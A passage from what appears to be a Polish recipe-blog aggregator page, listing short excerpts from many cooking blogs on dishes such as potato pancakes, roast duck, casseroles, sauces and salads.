wyserwowaniem, pierś koniecznie musi odpocząć minimum 10 minut – soki w środku przestaną krążyć i nie uciekną podczas krojenia. Możecie podać z pieczonymi ziemniakami jak ja, lub kluskami śląskimi i sosem żurawinowym z chrzanem, czy prostą sałatą. Pamiętajcie, że prostota w dodatkach jest najlepsza. Post Pierś kaczki w pomarańczach i mandarynkach pojawił się poraz pierwszy w LADY KITCHEN

ladykitchen
Placki ziemniaczane 381

moja rodzina uwielbia  kluski ziemniaczane . Nikt też nie wzgardzi kotlecikami z ugotowanych ziemniaków. Jednak chyba najbardziej wszyscy uwielbiamy takie właśnie zwykłe placki ziemniaczane. Nie z gulaszem, nie z sosem paprykowym. Po prostu posypane cukrem. Uwielbiam. Składniki:  1 kg ziemniaków 1 duża cebula 2 jajka 2 łyżki mąki sól, pieprz olej do smażenia  cukier do posypania Sposób przygotowania

Pobite gary Barbary
TORTILLA Z PULLED PORK 143

dałam z pysznym mięsem pulled pork z jarmużem oraz serem żółtym. Tortillę zawijam i wkładam do torby papierowej lb zawijam w folię spożywczą. Do tortilli można podać ulubiony sos Oczywiście można tortillę zapiec w piekarniku do chwili aż będzie chrupiąca a ser żółty się roztopi

Gotowanie Patki
ZAPIEKANKA Z KURCZAKIEM I WARZYWAMI 1206

wodzie. Do naczynia żaroodpornego układamy makaron, brokuła, kalafiora, ugotowany makaron, marchewki, kukurydzę, oprószamy solą, pieprzem , ziołami prowansalskimi, wszystko delikatnie mieszamy. Śmietanę rozkłócamy z jajkiem, dodajemy ser, mieszamy, zalewamy tym sosem zapiekankę. Zapiekamy ok 20 minut

Z Majeczką w kuchni
Tajska zupa Tom Yum Goong 194

House of Asia 4 plastry imbir 2 łodygi trawy cytrynowej 1 papryczka chili 4 średnie pieczarki 3 łyżki mleczka kokosowego House of Asia garść świeżej kolendry Zaprawa 3 łyżki sosu rybnego 4 łyżki soku z limonki 1 łyżka cukru trzcinowego 1 łyżeczka pasty chilli (może być sambal) 1 łyżka pasty Tom Yum House of Asia Trawę cytrynową kroimy wzdłuż

Gotowanie i blogowanie
Woławina 215

jest zdecydowanie coś, co lubię najbardziej, a ta była wyśmienita, soczysta z idealnie chrupiącą skórką. Ach, zgłodniałem na samą myśl o niej! Kaczka została podana z bardzo smacznym sosem pomarańczowym, obłędną czerwoną zasmażaną kapustą z truskawkami i kopytkami. To była cudowna restauracyjna interpretacja tak domowego dania i zdecydowania jedna z lepszych kaczek, które jadłem — miejsce na mojej liście

Food Square
Krokiety meksykańskie 221

oleju, gdy będzie już gorący wykładamy po ok. 2-3 krokiety naraz. Smażymy z każdej strony po 2-3 minuty, do uzyskania złoto-brązowego koloru. Gotowe! Krokiety podaję z sosem jogurtowym oraz ketchupem - pikantne pyszności

Cooking Monster
WSTĄŻKI Z DYNIĄ W SOSIE ŚMIETANOWYM Z PARMEZANEM 192

dyniowe przysmaki. Ciasta, desery, zupy, naleśniki i makrony – z dodatkiem dyni wszystko smakuje fantastycznie. Dziś mam dla Was przepis na pyszny obiad. Makaron wstążki połączyłam z dynią, parmezanem, sosem śmietanowym i świeżą pietruszką. Wyszło danie niesamowicie smaczne , a do tego błyskawiczne do zrobienia. Idealne na jesienny obiad. Koniecznie spróbujcie! SKŁADNIKI : ( dla 2 osób ) * makaron wstążki

Ostra na Słodko
KROKIETY ZIEMNIACZANE Z FARSZEM PIECZARKOWYM 214

dłoni, ułożyć farsz pieczarkowy, zlepić formując kształt krokietów. Obtoczyć w bułce tartej i smażyć na rozgrzanym oleju z obu stron.  Można podać z ulubionym sosem bądź gulaszem i surówką

Zrób to smacznie
Kurczak duszony z cebulką i majerankiem 225

będzie miękkie. Gdy mięso będzie już miękkie przełożyć je na talerz. Płyn, który pozostał w garnku ( powinno go zostać ok pół litra) zagęścić mąką wymieszaną z odrobiną wody. Do sosu ponownie włożyć mięso. Gotowego kurczaka podałam z ziemniakami i buraczkami

Monia miesza i gotuje
Poznaj sie na tłuszczach 143

pietruszki i oleju rzepakowego z wędzoną makrelą zapiekaną w razowym cieście. Drugim daniem była gruszka w czerwonym winie z bryndzą, miodową granolą z orzechów włoskich, tymiankiem i aksamitnym sosem pomarańczowym. Część zdjęć dzięki uprzejmości organizatora

Kulinarne przygody Gatity
Pikantne jesienne krewetki z dynią i grzybami w aromatycznym sosie TomYum 207

Krewetki z dynią zatopione w kremowym sosie Tom Yum skutecznie rozgrzeją Cię w chłodne jesienne dni. Porcja: 2 osoby Składniki: ½ słoika pasty TomYum House of Asia 1 Mleczko kokosowe House of Asia 12 dużych surowych krewetek  1 szkl. grzybów (enoki, pieczarki, boczniaki itp.) ½ szkl. dyni pokrojonej w drobną kostkę 1 limonka świeża chili szalotka lub dymka świeża tajska bazylia

SzczyptaSmaQ
Panna cotta z dodatkiem wanilii i sosem malinowym 242

wyjęcie z ramekinów. Zagotuj wodę, wlej do miski i każdy ramekin zanurz na chwilę w wodzie.  Przygotuj talerzyk i wyłóż gotową panna cottę. Możesz przygotować do deseru sos owocowy i udekoruj owocami. Smacznego

Gotowanie, czyli hobby dla każdego
Sałatka z ryżem, tuńczykiem i orzechami nerkowca 274

Składniki: 200 g białego ryżu; 1 puszka tuńczyka w sosie własnym (waga netto, po odsączeniu 130 g); 1 puszka kukurydzy konserwowej (waga netto, po odsączeniu 285 g); 150 g orzechów nerkowca; 1 średnia cebula; 2 łyżki oliwy z oliwek; Sok wyciśnięty z 1/2 średniej cytryny; Sól; Pieprz. Sposób przygotowania: Ryż ugotować w osolonej wodzie, zgodnie z przepisem na opakowaniu. Odcedzić

Gospodyni Miejska
Mufinki z dyni i amarantusa 193

Czytaj więcej » Blog kulinarny, przepis,obiad,sałatka,zupa,dynia,mięso,wegetariańskie,ciasta,tort,babeczki,pizza,sos,spaghetti

Ekspansja smaku
SZAŁOT ŚLĄSKI 329

Robiłam wczoraj rolady i zostało mi trochę farszu. Zazwyczaj dodaję go do sosu, żeby był intensywniejszy w smaku. Jednak dzisiaj postanowiłam go wykorzystać do sałatki. Tak właśnie powstał mój dawno niejedzony szałot śląski SKŁADNIKI : boczek – 30 dkg ziemniaki – 6 sztuk ogórek kiszony – 2 sztuki cebula – 1 sztuka jajka – 2 sztuki kukurydza – pół małej puszki majonez – 1 łyżka musztarda – 1 łyżka

kuchniabellissima.wordpress.com
Smaczna I Zdrowa Zapiekanka Jaglana 166

ostrą. Foremkę wykładamy papierem do pieczenia i na dno dajemy połowę kaszy jaglanej, na to wykładamy połowę naszego sosou fasolowego. Teraz dajemy drugą porcję kaszy jaglanęj i pozostałą część sosu fasolowego. Na wierzch rzucamy kawałki sera twarogowego w plastrach oraz kawałki kiełbasy (kostki, półplasterki itp.) Całośc pieczemy w 190 stop. na środkowej półce przez około 20 min. Smacznego! Dla czytelników

Gotowanie...to proste !
PASZTET Z MIĘSA MIELONEGO I CUKINII 355

dodanej cukinii.  Szybki do przyrządzenia, prosty w wykonaniu.  Lekki i jednocześnie sycący.  Super smakuje ze świeżą bułeczką, ale też np. też na ciepło z chrzanem czy sosem pieczarkowym.  Wszystko zależy od naszej inwencji :-) Pomijając mięso mielone otrzymamy wegetariańską wersję,  która jest równie pyszna. Składniki: 3 szklanki startej na oczkach i odciśniętej mocno cukinii (z reguły

Walijskie Pichcenie
Zapiekanka makaronowa z grzybami leśnymi 418

Syta i smaczna zapiekanka makaronowa z mieszanką grzybów leśnych. Są tutaj podgrzybki, prawdziwki i kozaki. Wszystko zapieczone w kremowym sosie serowym. 250 g makaronu rigatoni lub penne 1 duża cebula 1 szklanka grzybów leśnych 3 jajka 1 szklanka śmietany 18% 1/2 szklanki śmietanki kremówki 30% 100 g sera pleśniowego 100 g sera żółtego sól pieprz czarny majeranek masło klarowane

https:KKuchniaMniam
Gołąbki z białą kaszą gryczaną, w sosie koperkowym 560

mielonego, 1-2 łyżki masła, majeranek, sól, pieprz, 6 ziarenek ziela angielskiego, 3 listki laurowe, świeży koperek ( może być mrożony ), mała śmietana 18% ( może być inna, nadająca się do sosów ), 2 płaskie łyżki mąki pszennej. Przygotowanie:                              Smacznego

W kuchni u Moniki
Pieczona kaczka z kaszą gryczaną i jablkami 185

Pieczemy przez 45 minut  w temperaturze 200 stopni, a potem zmniejsza,my do 170 i pieczemy kolejne 60 minut, pamiętając, aby co jakiś czas polewać kaczkę powstałym sosem. Po tym czasie zdejmujemy przykrywkę i pieczemy mięso przez 20 minut, aż się ładnie przyrumieni. Po wyjęciu z piekarnika odstawiamy kaczkę na 10 minut, aby mięso odpoczęło

Kulinarne przygody Gatity
Grzyby suszone 282

potrawy przygotowane z dodatkiem grzybów suszonych. Smak zupy z suszonych grzybów jest wyrazisty, również zapach jest bardzo silny, a kolor zdecydowany. Suszone grzyby są niezastąpione do grzybowej zupy wigilijnej, sosów oraz pierogów z kapustą i grzybami. Czytaj dalej

Przepisy Kulinarne
Moskole, czyli placki ziemniaczane z ugotowanych ziemniaków po góralsku 181

wegańskie masło jest już na blogu. Wystarczy do niego wmieszać przeciśnięty przez praskę czosnek. Oczywiście można również podawać moskole jako dodatek do zupy zamiast pieczywa czy jeść z ulubionymi sosami. Co kto lubi. Ja osobiście preferuję pierwszą opcję, czyli z masłem czosnkowym lub solo. Takie jadłem od dziecka i takie lubię najbardziej. Artykuł Moskole, czyli placki ziemniaczane z ugotowanych ziemniaków

Blendman
Papryki w sosie orzechowym 209

szczypiorem. Przesmażamy i dodajemy pokrojone papryki i dusimy na wolnym ogniu aż papryki będą miękkie, trochę zarumienione. Dodajemy masło orzechowe i wodę i gotujemy (mieszając) aż otrzymamy kremowy sos. Podajemy gorące i zjadamy solo, albo z ryżem, makaronem. Możemy posypać sezamem. Smacznego

Szybko Tanio Smacznie
Rurki z kremem pomarańczowo-dyniowym 196

już będzie miękka, oddzielić od skórki, zblendować i przełożyć do słoika. Takie puree przechowujemy w lodówce i wykorzystujemy w ciągu 2 tygodni. Sprawdzi się świetnie jako dodatek do zup, sosów, kluseczek, kremów, ciast itp. Krem, który przygotowałam do tych rurek wyszedł naprawdę bardzo dobry i można użyć go również do ciast na zimno, biszkoptów czy innych deserów. Na pewno

Ze smakiem i z pasją
Rozdanie - zdobądź jedną z czterech bransoletek 181

Czytaj więcej » Blog kulinarny, przepis,obiad,sałatka,zupa,dynia,mięso,wegetariańskie,ciasta,tort,babeczki,pizza,sos,spaghetti

Ekspansja smaku
Schab duszony w cebuli i marchewce 930

kotletów schabowych (około 500 g mięsa) 3 duże cebule 2 duże marchewki 4 duże ząbki czosnku papryka słodka do posypania kotletów i dodatkowo 1 płaska łyżeczka do sosu 1 czubata łyżeczka majeranku   (u mnie Skworcu ) 1 płaska łyżeczka lubczyku 2 liście laurowe 4 ziarna ziela angielskiego   3 łyżki keczupu łagodnego sól pieprz kilka łyżek oliwy do podsmażenia kotletów

Smak mojego domu
Schab wędzony dymem w płynie 170

też marynowania mięsa lub ryb, na przykład do różnego rodzaju serów (żółtych, twarogu, fety, mozzarelli) lub do dań,   których chcielibyśmy wykorzystać aromat wędzarniczego dymu (na przykład: zup, sosów, czy też potraw jednogarnkowych). I ja postanowiłam się skusić na wypróbowanie tego płynnego dymu, bo słyszałam od różnych osób, że daje bardzo ciekawe efekty smakowe. Zastanawiałam się jakie danie przy jego

Kulinarne przygody Gatity
Kotlety jajeczno-pieczarkowe 308

Bezmięsne kotlety z jajek i pieczarek. Dobrze smakują same ale można je też podawać np. z sosem grzybowym. Kotlety są dość delikatne w smaku i nie rozpadają się w trakcie pieczenia. Z podanego przepisu wychodzi 9 średniej wielkości kotletów. 5 jajek na twardo 500 g pieczarek 1 średniej wielkości cebula 1 łyżeczka soli 1 łyżeczka pieprzu 1 łyżeczka suszonej, słodkiej

Bullio
PLACKI KUKURYDZIANE W 2 WERSJACH 217

przygotowaną masą. Przyprawiamy pieprzem i solą. Na końcu wrzucamy płatki kukurydziane. Mieszamy i odstawiamy na 15-20 min. Placki smażymy na rozgrzanym oleju. Podajemy z ketchupem lub innym sosem. Można do nich podać sałatę. Wersja na słodko: 2 szklanki płatków kukurydzianych =>  Tesco 2 jajka =>  Tesco 1/2 szklanki mleka => Lidl 1/2 szklanki mąki =>  Lidl

Kuchnia MagdaLeny
Zapiekanka z bakłażana i cukinii. 287

parmezanem. Piec pod przykryciem 30 minut w temperaturze 180 stopni. Zdjąć przykrycie i piec jeszcze 10 minut przenosząc bliżej górnej grzałki piekarnika. Zapiekankę podawać samą lub z ulubionym prostym sosem jogurtowym

zadanie-gotowanie
Brownie maksymalnie czekoladowe 183

Dodatkowo dodałam do ciasta wiśnie marki  Stovit (ułożyłam równomiernie w rzędach 6x5, następnie posypałam czekoladą i dopiero wstawiłam do pieczenia). Po upieczeniu, dla przełamania słodyczy podawałam także polane sosem wiśniowym i wiśniami

Tradycyjna Kuchnia
Gremolata. Ziołowa przyprawa 233

cytryny. Gremolata to charakterystyczny dodatek do włoskiego dania ossobuco (kość z dziurą), to gicz cielęca lub wołowa duszona w winie i pomidorach. Skład tej ziołowej mieszanki doskonale podkreśla smak sosu i słodycz mięsa, wnosi odrobinę ostrości, cierpkości i świeżości. Z gremolatą świetnie smakuje też cielęcina, drób, królik czy ryby. Ale bardzo dobrze sprawdza się jako dodatek do lekkich dań

Damsko-męskie spojrzenie na kuchnię
Kopytka z batatów 190

batatów w ogóle smakują? Bardzo dobrze! I to powinno Wam wystarczyć, żeby się za nie zabrać Powiem Wam jednak, że są dzięki batatom słodkawe, natomiast w połączeniu z wytrawnym sosem nie jest to słodycz odpychająca, a bardziej coś pożądanego. Konsystencja zależy już od tego jaką macie wprawę w ich robieniu, niestety. Wszystko rozgrywa się o odpowiednią konsystencję ciasta. Jednak, jeśli

Blendman
Pure z tykwy 376

ugotować tykwę w wodzie lub na parze. W tym celu lepiej pokroić ją w małą kostkę aby skrócić czas gotowania. 5. Pure z tykwy to znakomita baza do zup, sosów, mięs czy też ryb. Wspaniale nadaje się jako dodatek do sałatek, farszy, marynat a nawet ciast. 6. Nasiona możemy zetrzeć i ususzyć by później wykorzystać je jako przyprawę

Fiołkowa Kuchnia Małgorzaty
Filet z mintaja po węgiersku 247

Smażony filet rybny pod smaczną warzywną kołderką w lekko pikantnym sosie. Przepis zapisany wiele lat temu w starym zeszycie,trochę zapomniany. Ryby można użyć dowolnej,kto jaką lubi najbardziej. Ja akurat miałam mintaja,postanowiłam go użyć i reaktywować ten stary przepis. Potrawa bardzo smaczna,warta kontynuacji i godna polecenia na zbliżające się Święta.  400 g mrożonego filetu z mintaja

Kolorowa kuchnia Elki
Zrazy wołowe z nadzieniem z kaszy i grzybów 200

wysokości zrazów, dodać listki laurowe i ziele angielskie. Zagotować, sprawdzić smak w razie potrzeby doprawić solą lub pierwszym. Gotować na najniższej temperaturze. Czym wolniej tym lepszy smak uzyskacie. Zagęścić sos łyżką mąki ziemniaczanej rozmieszanej w małej ilości wody. Powoli wlewać do sou, cały czas mieszać. Jak zauważycie że już jest gęsty, to więcej nie dodawajcie. Podawać zrazy z kaszą

Kuchnia Pokoleń
Paprykowe mumie 188

pieczenia. Wstawiamy do piekarnika nagrzanego do 190'C i pieczemy przez 20 minut. Wyjmujemy z piekarnika i dekorujemy ketchupem, tworząc na każdej papryczce oczka. Podajemy na ciepło z ulubionymi sosami. By Małgorzata Hert Wędrówki po kuchni http://www.wedrowkipokuchni.com.pl

Wędrówki po kuchni
Sałatka z granatem, orzechami włoskimi i sosem miodowo-imbirowym 156

łyżka orzechów włoskich (ok. 10 g), - 2 łyżeczki soku z cytryny, - świeży korzeń imbiru. Sposób przygotowania 1. Mieszamy rukolę z ziarenkami granatu i prażonymi orzechami. 2. Sałatkę polewamy sosem (mieszamy sok z cytryny z miodem i odrobiną tartego imbiru).\ Sałatka jest bogata w: - błonnik pokarmowy, który obniża poziom cholesterolu i daje uczucie sytości, - antyoksydanty, które działają przeciwnowotworowo, - magnez (pochodzący

Zdrowe odżywianie w pięciu smakach
Szynka wieprzowa w sosie ziołowym. 182

natką pietruszki i owocami jałowca - gotujemy do miękkości mięsa. Masło rozpuszczamy na patelni i dodajemy mąkę, dokładnie mieszamy, taką zasmażkę dodajemy do gotującego się mięsa i mieszamy aż powstanie sos. Smacznego

Moje-pitraszenie
Gołąbki z brązowym ryżem ,mięsem i pieczarkami 188

tego nauczyć. Wkładamy gołąbki do naczynia żaroodpornego i zalewamy sokiem pomidorowym, dodajemy sól i pieprz oraz oliwę z oliwek. Zapiekamy około 40 minut w piekarniku od momentu zagotowania się sosu. Jakieś 180-190 stopni. Smacznego

Z Kuchni Do Kuchni
Restaurant Week w La Maddalena: bo jedzenie to sztuka 204

łagodny i śmietankowy w smaku mus z selera, zaskakujący nie tylko barwą, ale i smakiem ziemniak truflowy, kwaśno-słodka konfitura z żurawiny, orzeźwiający cytrynowy puder i głęboki w smaku sos z palonej cebuli. Wszystkie smaki idealnie się komponowały i dały dużo możliwości łączenia. Jedyny żal mam do tego, że porcja była tylko degustacyjna, bo na takie danie chętnie przyszedłbym

Food Square
Błyskawiczne piątki - podsumowanie 28.10.2016r. 206

kolejne podsumowanie błyskawicznych piatków . W tym tygodniu mamy 1 2 przepisów.  Arek Zupa z bocznikami   Joanna  Błyskawiczna pasta z kurczaka alla dip Diana  Kopytka z sosem grzybowym   Marta  Deser budyniowy z bitą śmietaną   Kasia Kaszotto pomidorowe z tuńczykiem   Magdalena  Ciastka francuskie z jabłk iem Agnieszka  Bananowo - cynamonowe naleśniki

Magiczne Życie Marty
Dorsz z makaronem i suszonymi pomidorami 208

Czytaj więcej » Blog kulinarny, przepis,obiad,sałatka,zupa,dynia,mięso,wegetariańskie,ciasta,tort,babeczki,pizza,sos,spaghetti

Ekspansja smaku
Kotlety z kalafiora 357

Czytaj więcej » Blog kulinarny, przepis,obiad,sałatka,zupa,dynia,mięso,wegetariańskie,ciasta,tort,babeczki,pizza,sos,spaghetti

Ekspansja smaku
Deser z nasionami Chia migdałami i winogronem 216

Czytaj więcej » Blog kulinarny, przepis,obiad,sałatka,zupa,dynia,mięso,wegetariańskie,ciasta,tort,babeczki,pizza,sos,spaghetti

Ekspansja smaku
Czy warto kupić ekologiczne mięso z kurczaka ? 260

Czytaj więcej » Blog kulinarny, przepis,obiad,sałatka,zupa,dynia,mięso,wegetariańskie,ciasta,tort,babeczki,pizza,sos,spaghetti

Ekspansja smaku
Ser kozi dla osób nietolerujących mleko krowie 236

Czytaj więcej » Blog kulinarny, przepis,obiad,sałatka,zupa,dynia,mięso,wegetariańskie,ciasta,tort,babeczki,pizza,sos,spaghetti

Ekspansja smaku
Kotlety z kaszy jaglanej i sos z pieczonej dyni 206

Czytaj więcej » Blog kulinarny, przepis,obiad,sałatka,zupa,dynia,mięso,wegetariańskie,ciasta,tort,babeczki,pizza,sos,spaghetti

Ekspansja smaku
Żeberka 192

Pyszne żeberka w sosie.. 1 kg żeberek mąka 1 cebula 2 ząbki czosnku 2 marchewki sól,pieprz  listki laurowe, ziele angielskie majeranek  bulion Żeberka pokroić na mniejsze kawałki, obtoczyć w mące.Rozgrzać olej i podsmażyć żeberka lekko rumieniąc.Dodać pokrojoną cebulę, czosnek i marchewkę jeszcze chwilę razem smażyć.Dodać przyprawy, wlać bulion i gotować do miękkości

Moje domowe kucharzenie
KOPYTKA 214

posól do smaku. Wrzucaj kopytka i gotuj około 3 minut po wypłynięciu. Wyjmij łyżką cedzakową na talerz.  Polej przesmażoną na maśle tartą bułką . Kopytka można podawać z sosem, ze skwarkami ze słoniny i boczku

Przepisy kulinarne babci Antoniny
SOS CZOSNKOWY DO PIZZY 188

Składniki: jogurt naturalny 180 g 3 ząbki czosnku 1 łyżeczka cukru 4 łyżki majonezu sól do smaku pieprz do smaku 1/2 łyżeczki bazylii 1/2 łyżeczki oregano

Przepisy kulinarne babci Antoniny
SOS POMIDOROWY DO PIZZY 172

Składniki: 190 g koncentratu pomidorowego  1 i1/2 szklanki wody 1/3 szklanki oleju 2 ząbki czosnku 1/2 łyżeczki cukru sól do smaku pieprz do smaku 1/2

Przepisy kulinarne babci Antoniny
Mini Caprese 191

Chyba każdy zna popularną włoską sałatkę Caprese. Pokrojone plastry pomidorów oraz mozzarelli ułożone na przemian, polane sosem z oliwy z oliwek i udekorowana liśćmi bazylii. Kolorystycznie ma odzwierciedlać włoską flagę. Dzisiaj chciałabym wam zaproponować wariację na temat tej klasycznej sałatki - podanej w formie efektownej przystawki. Składniki: opakowanie pomidorków koktajlowych (najlepiej wybrać te nieco większe) opakowanie kulek mini mozzarelli  świeża

Taste Therapy
WYTRAWNE PLACKI Z DYNI 300

Wytrawne placki z dyni przygotowuje się bardzo szybko i prosto. Placuszki można podać z sosem pomidorowym, lub jogurtem greckim, mi najbardziej smakują bez dodatków :)  Składniki: 500 g miąższu z dyni  200 g mąki pszennej  kawałek świeżego imbiru lub 1 łyżeczka imbiru w proszku  pół łyżeczki ostrej papryczki w proszku  sól pieprz 2 jajka olej

Kukuleczki
Risotto z dynią, pieczarkami i rozmarynem 323

potrawy używamy puree z dyni, które utworzy kremowy sos. Dodatkiem są pieczarki z świeżym rozmarynem, który nadaje cudownego aromatu. To danie jest must have w obecnym sezonie dyniowym! Risotto z dynią, pieczarkami i rozmarynem porcja dla 2-3 osób Składniki: 200 g ryżu arborio do risotto 1,5 szklanki puree z dyni 2 pieczarki około 1 litr bulionu gałązka rozmarynu

Jaglusia
Słodki zielnik Lary – Lara Gessler – Książka na niedzielę 239

kilku lat w PL możemy kupić w doniczce i tu przepis na ricottę z syropem laurowym i figami na cydrze, czyż nie brzmi smakowicie ?  Goździki to przepisy na sos karmelowy do wszystkiego ( prosty i jasny tytuł ;)) czy pikantne batony musli z syropem klonowym i goździkami.    Gałka muszkatołowa jawi nam się w przepisach na migdałowo – muszkatołowe ciasteczka

Kuchnia na wzgórzu
Wielkanocne jajka faszerowane 139

tylko na świątecznym stole, ale na każdym rodzinnym spotkaniu. Do przygotowania potrawy potrzebujemy: – kilka jajek – majonez lub/i jogurt – szczypiorek/koperek/pietruszkę – 1 puszkę tuńczyka w sosie własnym Ugotowane jajka przekrawamy na pół. Wyciągamy żółtka do osobnej miseczki i dodajemy majonez/jogurt , tuńczyka i kapary. Wszystko mieszamy, doprawiamy solą i pieprzem. Ozdabiamy plastrem rzodkiewki. Życzę Wam smacznego

Szybko Tanio Smacznie
Pomidory z farszem tuńczykowym 127

nakarmić swoich gości! Takie są też faszerowane pomidory – chyba prościej się już nie da! Do przygotowania faszerowanych pomidorów potrzebujemy: – połówki świeżych pomidorów – 1 puszkę tuńczyka (w sosie własnym) – majonez jogurt – kapary – sól, pieprz do smaku – ćwiartki ugotowanych jajek Tuńczyka odsączcie z zalewy, wrzućcie do miski i rozpuście widelce. Dodajcie jogurt, majonez (wystarczy jedna

Szybko Tanio Smacznie
Sałata z kurczakiem i suszonymi śliwkami 158

łyżkę musztardy francuskiej – 1 łyżkę oliwy z oliwek – 1 łyżkę jogurtu – tymianek i rozmaryn (posiekane) – 1 pierś z kurczaka (ugotowaną na parze) Zacznijcie od przygotowania sosu. W garnku podgrzejcie odrobinę oliwy wraz musztardą a po chwili dodajcie jogurt i posiekane zioła. Odstawcie na bok. Umyjcie sałatę i porwijcie na mniejsze kawałki, osuszcie. Na talerzu układajcie sałatę

Szybko Tanio Smacznie
Brzoskwinie z farszem z tuńczyka 194

ręką puszkę brzoskwiń, tuńczyka i jogurt/majonez. Fantastyczna propozycja, gdy mają pojawić się niezapowiedziani goście.   Do przygotowania faszerowanych brzoskwiń potrzebujemy: – 1 puszkę brzoskwiń – 1 puszkę tuńczyka w sosie własnym – jogurt biały (majonez w wersji bardziej kalorycznej) – kapary (opcjonalnie, ja użyłam do dekoracji) – sól, pieprz i inne ulubione przyprawy – natka pietruszki Brzoskwinie i tuńczyka odsączyć

Szybko Tanio Smacznie
Shakshuka 144

wielki bałagan”. Danie jest niezwykle popularne w Izraelu oraz państwach Bliskiego Wschodu, a także niektórych krajach Północnej Afryki. Shakshuka to nic innego, jak sadzone jajka na delitanie pikantnym sosie z pomidorów, papryki oraz innych aromatycznych warzyw. Można ją również przyrządzać z dodatkiem fety lub mięsa. Nam się ten „wielki bałagan” bardzo spodobał, dlatego potanowiliśmy podzieli się przepisem

Szybko Tanio Smacznie
Warzywne placuszki z mąki gryczanej 131

potrzebujecie szybko zrobić obiad? Znudziły się Wam naleśniki? Nic prostszego – przygotujcie te przepyszne warzywne placuszki. Ciepłe, aromatyczne podane z surówką (a jeżeli chcecie, można do nich zrobić jeszcze sos no grzybowy) skradną Wasze serce i rozpieszczą podniebienia! Do przygotowania ok 10 placuszków potrzebujemy: – 1 filiżankę mąki gryczanej – 1 filiżankę purre warzywnego (ja użyłam marchewkę i groszek

Szybko Tanio Smacznie
Sałata z bażantem 168

całkiem fajnie jest mieć gotującą córkę. Moja Mama miała wczoraj wyjście i obiecałam zrobić obiad. Oto i on: Do przygotowania sałatki potrzebujemy: – opakowanie rukoli – suszone owocu z sosu – rodzynki, morele (wcześniej gotował się w nim bażant i dzik), ale można też namoczyć je w wodzie – mięso, u mnie bażant (świetnie sprawdzą się resztki indyka czy kurczaka

Szybko Tanio Smacznie
Wielkanocne rolady drobiowe z chrzanem i żurawiną 142

przyprawy kojarzą się Wam z Wielkanocą? Moim zdaniem taką najbardziej wielkanocną przyprawą jest chrzan. Ostry. Czyści nozdrza. Wyciska łzy. Do szynki, mięska, kiełbaski, jajek. Można wykorzystać go do zup, sosów i tylko nasza wyobraźnia nas ogranicza do czego jeszcze! Zapraszam Was dzisiaj na przepyszne drobiowe roladki z chrzanem i żurawiną. Połączenie idealne – ostro i słodko. Kruche, soczyste. Przepyszne

Szybko Tanio Smacznie
Wiosenna sałatka z melona, mozarelli i pomidorków koktajlowych 186

wykroić kulki z melona. W przeciwnym razie pokrójcie owoc w kostkę. Dodajcie mozzarellę (kulki lub pokrojoną w kostkę) oraz połówki pomidorków koktajlowych Z oliwy, octu balsamicznego i miodu przygotujcie sos, którym polejecie sałatkę. Na samym końcu posypcie obficie prażonymi ziarnami słonecznika. Jestem ciekawa Waszych opinii czy lubicie takie sałatki? A może jedliście już podobną kombinację smaków? Smacznego

Szybko Tanio Smacznie
Pasta z twarożku i czosnku niedźwiedziego 141

Pastę możemy użyć na chleb, do faszerowania jajek. Świetnie smakuje też do mięs w formie gęstego sosu. Do przygotowania pasty potrzebujemy: – 1 opakowanie czosnku niedźwiedziego – 1 opakowanie twarożku – sól, pieprz do smaku – opcjonalnie majonez (ja dodałam jedną łyżeczkę) Liście czosnku opłukać, osuszyć i odciąć końcówki. Posiekać, zblendować razem z serkiem i doprawić do smaku. Całość najlepsza

Szybko Tanio Smacznie
Sałatka z quinoa, pomarańczy, imbiru, orzechów z dodatkiem suszonych owoców i miodu 162

ugotować do miękkości, przelać zimną wodą po czym ostudzić. Orzechy i suszone owoce posiekać a obrane pomarańcze pokroić na mniejsze kawałki (z 2 ćwiartek wyciśnijcie sok, z którego zrobimy sos). Imbir zetrzyjcie na tarce. W misce wymieszać wszystkie składniki i ewentualnie możecie dodać miód lub sok z pomarańczy, jeżeli stwierdzicie, że całość jest za mało słodka lub za sucha. Życzę

Szybko Tanio Smacznie
Gulasz wieprzowy z papryką i pieczarkami na ciemnym piwie (z piekarnika) 222

porcje: 1 kg łopatki wieprzowej lub innej części 250 ml dobrej jakości ciemnego piwa (można zastąpić bulionem) 150 ml bulionu 1 cebula 2 ząbki czosnku 1,5 łyżki sosu sojowego po pół łyżeczki ostrej i słodkiej papryki 2/3 łyżeczki tymianku 2 małe czerwone papryki lub 1 duża po 2/3 łyżki mąki pszennej i ziemniaczanej sól i pieprz do smaku Przygotowanie

Fabryka pomysłów
Greckie kofty, czyli mielone na patyku 172

Grecka kofta to nic innego jak mielone na patyku doprawione charakterystycznymi dla greckich smaków przyprawami. Dzięki temu, że są pieczone są bardzo lekkie. Świetnie smakują z sosami na bazie jogurtu.  1/2 kg mięsa mielonego 1 cebula 1 jajko 1 kajzerka  1 łyżeczka tymianku 1 łyżeczka rozmarynu 1 łyżeczka suszonej mięty po szczypcie: papryka słodka, gorczyca, czosnek suszony, sól

Szefowa kuchni
Kurczak a'la cacciatore 202

cebulę,czosnek oraz gałązki rozmarynu. Smażymy, aż cebula się zeszkli. Następnie dodajemy kurczaka, obsmażamy, a potem dodajemy pokrojone pieczarki, pomidory z puszki oraz koncentrat. Gotujemy na wolnym ogniu, aż sos zgęstnieje. Pod koniec dodajemy chipsy z prosciutto, tymianek oraz pokrojone oliwki

Bon appetit mon amie
Karmelizowane gruszki pod kruszonką. 169

mniejsze kawałki. Następnie wymieszać z sokiem z cytryny. Na patelni rozpuścić masło, dodać cukier. Smażyć przez chwilę do momentu aż cukier się rozpuści. Dodać ziarna z laski wanilii. Do sosu karmelowego przełożyć owoce i smażyć do momentu aż owoce lekko zaczną się rozpadać (od czasu do czasu mieszając). Z podanych składników przygotować kruszonkę. Gruszki przełożyć do kokilek. Posypać kruszonką. Wstawić

zadanie-gotowanie
WARSZTATY AKADEMII SMAKU SOKOŁÓW 173

Sałatkę z gruszką, selerem naciowym i płatkami schabu Naturrino :) pyszna     Sałatka z golonką Naturrino ;     Pieczony boczek na musie z jabłek, ziemniaki puree z sosem tymiankowym ;     Było pysznie i wesoło :) W przemiłej atmosferze z blogerkami minął dzień, pora wracać do domu, na drogę dostaliśmy produkty nowej linii którymi zjadali się domownicy

Kulinarne Fantazje Marioli
Piekielna Inka. Z chili. Podnosząca przemianę materii. 203

